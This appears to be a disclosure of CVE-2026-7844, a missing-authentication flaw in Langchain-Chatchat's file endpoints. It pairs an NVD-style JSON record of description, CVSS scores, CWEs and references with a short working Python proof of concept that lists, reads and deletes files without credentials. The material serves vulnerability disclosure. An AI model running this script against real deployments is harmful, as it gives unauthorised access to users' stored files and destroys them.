CVE-2026-7844

import requests # Exploit target URL (Example) target_host = "http://127.0.0.1:7861" # 1. List files without authentication print("[1] Attempting to list files...") list_url = f"{target_host}/v1/files" response = requests.get(list_url) if response.status_code == 200: print(f"[+] Success! Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") # 2. Retrieve file content # Assuming file_id obtained or guessed file_id = "test_file.txt" print(f"[2] Attempting to retrieve content of {file_id}...") content_url = f"{target_host}/v1/files/{file_id}/content" response = requests.get(content_url) if response.status_code == 200: print(f"[+] File content retrieved: {response.text}") # 3. Delete file print(f"[3] Attempting to delete {file_id}...") delete_url = f"{target_host}/v1/files/{file_id}" response = requests.delete(delete_url) if response.status_code == 200: print("[+] File deleted successfully.")

{"cve": {"id": "CVE-2026-7844", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:19.217", "lastModified": "2026-05-05T19:06:58.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in chatchat-space Langchain-Chatchat up to 0.3.1.3. This vulnerability affects the function files/list_files/retrieve_file/retrieve_file_content/delete_file of the file libs/chatchat-server/chatchat/server/api_server/openai_routes.py of the component Compatible File Service. The manipulation results in missing authentication. The attacker must have access to the local network to execute the attack. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.5, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-4-Missing-Auth-File-Endpoints.md", "source": "[email protected]"}, {"url": "https://github.com/chatchat-space/Langchain-Chatchat/", "source": "[email protected]"}, {"url": "https://github.com/chatchat-space/Langchain-Chatchat/issues/5465", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807790", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361123", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361123/cti", "source": "[email protected]"}]}}